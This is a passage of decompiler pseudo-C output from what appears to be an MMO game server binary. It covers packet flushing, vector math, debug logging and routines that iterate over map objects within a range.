FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainerBase::pcb_Flush"); return 1; } //----- (00521650) -------------------------------------------------------- char __thiscall PacketContainer::pcb_Flush(PacketContainer *this, ClientSession *session) { PacketContainer *v2; // esi@1 int v3; // edi@1 char v4; // al@1 char v5; // bl@1 v2 = this; v3 = this->pc_Pointer; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainer::pcb_Flush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainer::pcb_Flush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = v3; v4 = PacketContainer::pcb_Flush_Try_Catch(v2, session); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainer::pcb_Flush"); return v5; } //----- (00521700) -------------------------------------------------------- void __thiscall VectorClass::UnitVector::UnitVector(VectorClass::UnitVector *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b) { VectorClass::VectorWithLength *v3; // esi@1 int v4; // ST04_4@1 int v5; // ST00_4@1 v3 = (VectorClass::VectorWithLength *)this; this->baseclass_0.baseclass_4.v_x = a->x - b->x; this->baseclass_0.baseclass_4.v_y = a->y - b->y; v4 = this->baseclass_0.baseclass_4.v_y; v5 = this->baseclass_0.baseclass_4.v_x; this->baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->baseclass_0.vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v5, v4); v3->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::UnitVector::_vftable_; VectorClass::VectorWithLength::vwl_Scale(v3, 32); } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 6610B8: using guessed type int (__stdcall *VectorClass__UnitVector___vftable_)(int itm); //----- (00521750) -------------------------------------------------------- #error "521750: undefined or illegal type '#593' (funcsize=115)" //----- (00521870) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(PROTO_NC_CHAR_WEDDINGDATA_ACK *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed((MemoryQueueGuildReName *)&this->Partner); } //----- (00521880) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_DamageLog(int spot, int hpchangeorder, int damage, int resthp) { int result; // eax@1 _iobuf *v5; // esi@2 result = 1; if ( !(_S52_3 & 1) ) { _S52_3 |= 1u; v5 = fopen("Dbg.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); EraseOldLogList("DamageLog"); result = atexit(_E53_3); } return result; } //----- (00521910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 98) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"); } //----- (00521970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(v1); **((_BYTE **)v1 + 892) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"); } //----- (00521A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Logout(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Logout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Logout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v1 + 26) + 4) + 1636))() != v1 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v1 + 30) + 4) + 1636))() != v1 ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 20))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Logout"); } //----- (00521AD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int axialfunc, int a3, int a4, int a5, int tome) { void *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 bool v9; // zf@2 int v10; // edx@2 int v11; // ebx@3 int v12; // ecx@3 int (__thiscall *v13)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@3 char v14; // al@3 char result; // al@3 FunctionEntarance _; // [sp+8h] [bp-20h]@1 int v17; // [sp+10h] [bp-18h]@2 int v18; // [sp+14h] [bp-14h]@2 int v19; // [sp+18h] [bp-10h]@2 int v20; // [sp+24h] [bp-4h]@1 v6 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllInMap0"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMap0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)((char *)v6 + 98); v20 = 0; if ( !v7 || (v8 = v7 + 184, v9 = *(_DWORD *)v8 == 0, v17 = *(_DWORD *)(v8 + 4), v10 = *(_DWORD *)(v8 + 12), v18 = *(_DWORD *)(v8 + 8), v19 = v10, v9) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); result = 0; } else { v11 = *(_DWORD *)(v8 + 8); v12 = *(_DWORD *)(v8 + 4); v13 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v8; v19 = *(_DWORD *)(v8 + 12); v18 = v11; v14 = v13((char *)v6 + v12, axialfunc, a3, a4, a5, tome); --funcallanalizer.fca_stackpoint; LOBYTE(v11) = v14; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); result = v11; } return result; } //----- (00521C10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int ala, int tome) { void *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 char v6; // al@3 char v7; // bl@3 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMap1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); if ( v4 && (v5 = v4 + 200, *(_DWORD *)v5) ) { v6 = (*(int (__thiscall **)(char *, int, int))v5)((char *)v3 + *(_DWORD *)(v5 + 4), ala, tome); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); result = 0; } return result; } //----- (00521D30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, char *range, int fansector, int axialfunc, int a7, int a8, int a9, int tome, int excepter) { void *v11; // edi@1 char *v12; // esi@1 int v13; // eax@2 int v14; // ecx@3 int v15; // eax@8 int v16; // eax@9 char v17; // al@10 char v18; // bl@10 char result; // al@10 v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRange_Class0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = range; if ( !range ) { v13 = *(_DWORD *)((char *)v11 + 98); if ( v13 && (v14 = *(_DWORD *)(v13 + 16)) != 0 ) { if ( *(_DWORD *)(v13 + 420) == 1 ) v12 = &wholesaver.ws_savestore[1079].esc_abstate.buffer[5031]; else v12 = *(char **)(v14 + 56); } else { v12 = 0; } } v15 = *(_DWORD *)((char *)v11 + 98); if ( v15 && (v16 = v15 + 216, *(_DWORD *)v16) ) { v17 = (*(int (__thiscall **)(char *, int, int, char *, int, int, int, int, int, int, int))v16)( (char *)v11 + *(_DWORD *)(v16 + 4), event, center, v12, fansector, axialfunc, a7, a8, a9, tome, excepter); --funcallanalizer.fca_stackpoint; v18 = v17; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); result = v18; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); result = 0; } return result; } //----- (00521EB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, char *range, int fansector, int ala, int tome, int excepter) { void *v8; // edi@1 char *v9; // esi@1 int v10; // eax@2 int v11; // ecx@3 int v12; // eax@8 int v13; // eax@9 char v14; // al@10 char v15; // bl@10 char result; // al@10 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRange_Class1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = range; if ( !range ) { v10 = *(_DWORD *)((char *)v8 + 98); if ( v10 && (v11 = *(_DWORD *)(v10 + 16)) != 0 ) { if ( *(_DWORD *)(v10 + 420) == 1 ) v9 = &wholesaver.ws_savestore[1079].esc_abstate.buffer[5031]; else v9 = *(char **)(v11 + 56); } else { v9 = 0; } } v12 = *(_DWORD *)((char *)v8 + 98); if ( v12 && (v13 = v12 + 232, *(_DWORD *)v13) ) { v14 = (*(int (__thiscall **)(char *, int, int, char *, int, int, int, int))v13)( (char *)v8 + *(_DWORD *)(v13 + 4), event, center, v9, fansector, ala, tome, excepter); --funcallanalizer.fca_stackpoint; v15 = v14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); result = v15; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); result = 0; } return result; } //----- (00522010) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a3, int a4, int a5, char tome) { int v6; // edi@1 char v7; // al@2 DebugLogging *v8; // eax@3 int v9; // edx@11 int v10; // esi@11 bool v11; // zf@12 bool v12; // sf@12 unsigned __int8 v13; // of@12 unsigned int v14; // ecx@13 int v15; // eax@15 int v16; // eax@17 unsigned int v17; // ecx@19 int v18; // eax@21 char v19; // bl@24 DebugLogging *v20; // eax@26 DebugLogging *v21; // eax@29 DebugLogging *v22; // esi@29 _iobuf *v23; // eax@32 DebugLogging *v25; // eax@39 DebugLogging *v26; // esi@39 _iobuf *v27; // eax@42 char *v28; // [sp-8h] [bp-2Ch]@25 char *v29; // [sp-4h] [bp-28h]@10 DebugLineFeed *v30; // [sp-4h] [bp-28h]@25 char *v31; // [sp-4h] [bp-28h]@27 v6 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMapNomal2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( g_BroadcastStackPoint >= 3 ) { v8 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v8, &deb_LF); v7 = 0; } else { ++g_BroadcastStackPoint; v7 = 1; } if ( !v7 ) { LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v29 = "ShineObjectClass::ShineObject::so_AllInMapNomal2"; LABEL_38: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v29); return 0; } if ( (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v6 + 26) + 4) + 1636))() == v6 && (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v6 + 30) + 4) + 1636))() == v6 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); goto LABEL_8; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v9 = **(_DWORD **)(**(_DWORD **)(v6 + 38) + 4); loop = 0; v10 = (*(int (**)(void))(v9 + 1636))(); if ( v10 ) { while ( 1 ) { v13 = __OFSUB__(loop + 1, 10000); v11 = loop == 9999; v12 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v12 ^ v13) | v11) ) break; v14 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v10 + 4 * g_BroadcastStackPoint + 62) == v14 ) { v30 = &deb_LF; v28 = "List Wrong"; LABEL_26: v20 = DebugLogging::operator<<(&BroadCastLog, v28); DebugLogging::operator<<(v20, v30); goto LABEL_35; } *(_DWORD *)(v10 + 4 * g_BroadcastStackPoint + 62) = v14; if ( !(v10 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 26) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v10 + 2208))(v10, 1); v31 = "AllInMap0"; LABEL_34: MapRearrangeObserver::mro_Set(&maprearrangeobserver, v31); FieldMap::fm_Relink(*(void **)(v10 + 98), "ShineObjectClass::ShineObject::so_AllOfRange 0"); goto LABEL_35; } v15 = ShineObjectClass::ShineObject::so_DistanceSquar(v6, v10); if ( !(unsigned __int8)axialfunc(v10 + a3, v6, v15) ) goto LABEL_35; v10 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 38) + 4) + 1636))(); if ( !v10 ) goto LABEL_17; } v30 = &deb_LF; v28 = "Too many loop"; goto LABEL_26; } LABEL_17: v16 = **(_DWORD **)(**(_DWORD **)(v6 + 42) + 4); loop = 0; v10 = (*(int (**)(void))(v16 + 1636))(); if ( v10 ) { while ( 1 ) { v13 = __OFSUB__(loop + 1, 10000); v11 = loop == 9999; v12 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v12 ^ v13) | v11) ) break; v17 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v10 + 4 * g_BroadcastStackPoint + 62) == v17 ) { v21 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); v22 = v21; if ( DebugLogging::dl_ActivAll && v21->dl_Activ && v21->dl_FilePointer ) { v23 = DebugLogging::dl_FilePoint(v21); fputc(10, v23); fflush(v22->dl_FilePointer); fclose(v22->dl_FilePointer); v22->dl_FilePointer = 0; } goto LABEL_35; } *(_DWORD *)(v10 + 4 * g_BroadcastStackPoint + 62) = v17; if ( !(v10 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 26) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v10 + 2208))(v10, 1); v31 = "AllInMap1"; goto LABEL_34; } v18 = ShineObjectClass::ShineObject::so_DistanceSquar(v6, v10); if ( !(unsigned __int8)axialfunc(v10 + a3, v6, v18) ) goto LABEL_35; v10 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 42) + 4) + 1636))(); if ( !v10 ) goto LABEL_23; } v25 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); v26 = v25; if ( DebugLogging::dl_ActivAll && v25->dl_Activ && v25->dl_FilePointer ) { v27 = DebugLogging::dl_FilePoint(v25); fputc(10, v27); fflush(v26->dl_FilePointer); fclose(v26->dl_FilePointer); v26->dl_FilePointer = 0; } LABEL_35: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v29 = "ShineObjectClass::ShineObject::so_AllInMapNomal2"; goto LABEL_38; } LABEL_23: if ( tome ) v19 = axialfunc(v6 + a3, v6, 0); else v19 = 1; if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal2"); return v19; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 6A7AC4: using guessed type int g_BroadcastStackPoint; //----- (00522440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int ala, char tome) { int v3; // edi@1 signed int v4; // ebp@1 char v5; // al@2 DebugLogging *v6; // eax@3 int v7; // edx@11 int v8; // esi@11 bool i; // zf@11 bool v10; // sf@13 unsigned __int8 v11; // of@13 unsigned int v12; // ecx@14 int (__thiscall **v13)(_DWORD, _DWORD, _DWORD, _DWORD); // ebp@16 int v14; // eax@16 DebugLogging *v15; // eax@21 int v16; // eax@25 int v17; // eax@25 unsigned int v18; // ecx@28 int (__thiscall **v19)(_DWORD, _DWORD, _DWORD, _DWORD); // ebp@30 int v20; // eax@30 DebugLogging *v21; // esi@32 _iobuf *v22; // eax@35 _iobuf *v23; // eax@42 char v25; // bl@48 _iobuf *v26; // [sp-10h] [bp-34h]@35 char *v27; // [sp-8h] [bp-2Ch]@18 char *v28; // [sp-4h] [bp-28h]@10 DebugLineFeed *v29; // [sp-4h] [bp-28h]@18 char *v30; // [sp-4h] [bp-28h]@19 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMapNomal3"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( g_BroadcastStackPoint >= 3 ) { v6 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v6, &deb_LF); v5 = 0; } else { ++g_BroadcastStackPoint; v5 = 1; } if ( !v5 ) { LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v28 = "ShineObjectClass::ShineObject::so_AllInMapNomal3"; goto LABEL_46; } if ( (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v3 + 26) + 4) + 1636))() == v3 && (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v3 + 30) + 4) + 1636))() == v3 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); goto LABEL_8; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v7 = **(_DWORD **)(**(_DWORD **)(v3 + 38) + 4); loop = 0; v8 = (*(int (**)(void))(v7 + 1636))(); for ( i = v8 == 0; !i; i = v8 == 0 ) { v11 = __OFSUB__(loop + 1, 10000); i = loop == 9999; v10 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v10 ^ v11) | i) ) { v29 = &deb_LF; v27 = "Too many loop"; goto LABEL_21; } v12 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v8 + 4 * g_BroadcastStackPoint + 62) == v12 ) { v29 = &deb_LF; v27 = "List Wrong"; LABEL_21: v15 = DebugLogging::operator<<(&BroadCastLog, v27); DebugLogging::operator<<(v15, v29); goto LABEL_22; } *(_DWORD *)(v8 + 4 * g_BroadcastStackPoint + 62) = v12; if ( !(v8 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 26) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 2208))(v8, 1); v30 = "AllInMap2"; goto LABEL_38; } v13 = *(int (__thiscall ***)(_DWORD, _DWORD, _DWORD, _DWORD))ala; v14 = ShineObjectClass::ShineObject::so_DistanceSquar(v3, v8); if ( !(unsigned __int8)(*v13)(ala, v3, v8, v14) ) { LABEL_43: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; goto LABEL_45; } v8 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 38) + 4) + 1636))(); v4 = -1; } v16 = **(_DWORD **)(**(_DWORD **)(v3 + 42) + 4); loop = 0; v17 = (*(int (**)(void))(v16 + 1636))(); while ( 1 ) { v8 = v17; if ( !v17 ) { if ( tome ) v25 = (**(int (__thiscall ***)(_DWORD, _DWORD, _DWORD, _DWORD))ala)(ala, v3, v3, 0); else v25 = 1; if ( g_BroadcastStackPoint > v4 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal3"); return v25; } v11 = __OFSUB__(loop + 1, 10000); i = loop == 9999; v10 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v10 ^ v11) | i) ) { v21 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( !DebugLogging::dl_ActivAll || !v21->dl_Activ || !v21->dl_FilePointer ) goto LABEL_22; v23 = DebugLogging::dl_FilePoint(v21); fputc(10, v23); fflush(v21->dl_FilePointer); v26 = v21->dl_FilePointer; goto LABEL_36; } v18 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v17 + 4 * g_BroadcastStackPoint + 62) == v18 ) { v21 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( !DebugLogging::dl_ActivAll || !v21->dl_Activ || !v21->dl_FilePointer ) goto LABEL_22; v22 = DebugLogging::dl_FilePoint(v21); fputc(10, v22); fflush(v21->dl_FilePointer); v26 = v21->dl_FilePointer; LABEL_36: fclose(v26); v21->dl_FilePointer = 0; goto LABEL_22; } *(_DWORD *)(v17 + 4 * g_BroadcastStackPoint + 62) = v18; if ( v17 == (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v17 + 26) + 4) + 1636))() ) break; v19 = *(int (__thiscall ***)(_DWORD, _DWORD, _DWORD, _DWORD))ala; v20 = ShineObjectClass::ShineObject::so_DistanceSquar(v3, v8); if ( !(unsigned __int8)(*v19)(ala, v3, v8, v20) ) goto LABEL_43; v17 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 42) + 4) + 1636))(); v4 = -1; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 2208))(v8, 1); v30 = "AllInMap3"; LABEL_38: MapRearrangeObserver::mro_Set(&maprearrangeobserver, v30); FieldMap::fm_Relink(*(void **)(v8 + 98), "ShineObjectClass::ShineObject::so_AllOfRange 0"); LABEL_22: if ( g_BroadcastStackPoint > v4 ) --g_BroadcastStackPoint; LABEL_45: v28 = "ShineObjectClass::ShineObject::so_AllInMapNomal3"; LABEL_46: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v28); return 0; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 6A7AC4: using guessed type int g_BroadcastStackPoint; //----- (00522890) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int ala, char tome, __int16 excepter) { void *v8; // ebp@1 char v9; // al@2 DebugLogging *v10; // eax@3 char result; // al@10 int v12; // edi@13 int v13; // edx@13 int v14; // ebx@13 int v15; // esi@13 bool v16; // zf@15 bool v17; // sf@15 unsigned __int8 v18; // of@15 unsigned int v19; // ecx@16 int v20; // edx@19 int v21; // esi@19 unsigned int v22; // ecx@22 int v23; // edx@25 int v24; // esi@25 unsigned int v25; // ecx@28 int v26; // ebp@30 int v27; // edi@30 int v28; // eax@34 int v29; // eax@37 DebugLogging *v30; // eax@41 DebugLogging *v31; // esi@46 _iobuf *v32; // eax@49 _iobuf *v33; // eax@54 int v34; // ecx@57 DebugLogging *v35; // esi@61 _iobuf *v36; // eax@64 int v37; // eax@74 int v38; // ebp@74 unsigned int v39; // ecx@77 int v40; // edi@79 int v41; // edx@79 int v42; // ebx@79 int v43; // eax@83 int v44; // esi@85 int v45; // edi@85 signed int v46; // ecx@85 int v47; // esi@87 int v48; // eax@87 signed int v49; // ecx@88 DebugLogging *v50; // esi@94 char v51; // bl@108 _iobuf *v52; // [sp-14h] [bp-50h]@49 _iobuf *v53; // [sp-14h] [bp-50h]@64 _iobuf *v54; // [sp-14h] [bp-50h]@97 char *v55; // [sp-Ch] [bp-48h]@38 DebugLineFeed *v56; // [sp-8h] [bp-44h]@38 void *v57; // [sp+Ch] [bp-30h]@1 int rangesquar; // [sp+10h] [bp-2Ch]@13 int cos1024; // [sp+14h] [bp-28h]@0 VectorClass::UnitVector targetvector; // [sp+20h] [bp-1Ch]@36 int v61; // [sp+38h] [bp-4h]@1 v8 = this; v57 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v61 = 0; if ( g_BroadcastStackPoint >= 3 ) { v10 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v10, &deb_LF); v9 = 0; } else { ++g_BroadcastStackPoint; v9 = 1; } LOBYTE(v61) = 1; if ( !v9 ) { LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v61 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); return 0; } if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v8 + 26) + 4) + 1636))() == v8 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v8 + 30) + 4) + 1636))() == v8 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); goto LABEL_8; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( fansector ) cos1024 = ShineRadian::sr_cos1024(&shineradian, *(_DWORD *)fansector / 2); v12 = range; rangesquar = range * range; v13 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 26) + 4); loop = 0; v14 = center; v15 = (*(int (**)(void))(v13 + 1636))(); if ( v15 ) { while ( 1 ) { if ( (unsigned int)(range + **(_DWORD **)(v15 + 78)) <= *(_DWORD *)center ) goto LABEL_19; v18 = __OFSUB__(loop + 1, 10000); v16 = loop == 9999; v17 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v17 ^ v18) | v16) ) break; v19 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v15 + 4 * g_BroadcastStackPoint + 62) == v19 ) { v56 = &deb_LF; v55 = "List Wrong"; LABEL_41: v30 = DebugLogging::operator<<(&BroadCastLog, v55); DebugLogging::operator<<(v30, v56); goto LABEL_42; } *(_DWORD *)(v15 + 4 * g_BroadcastStackPoint + 62) = v19; if ( !(v15 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v15 + 26) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed 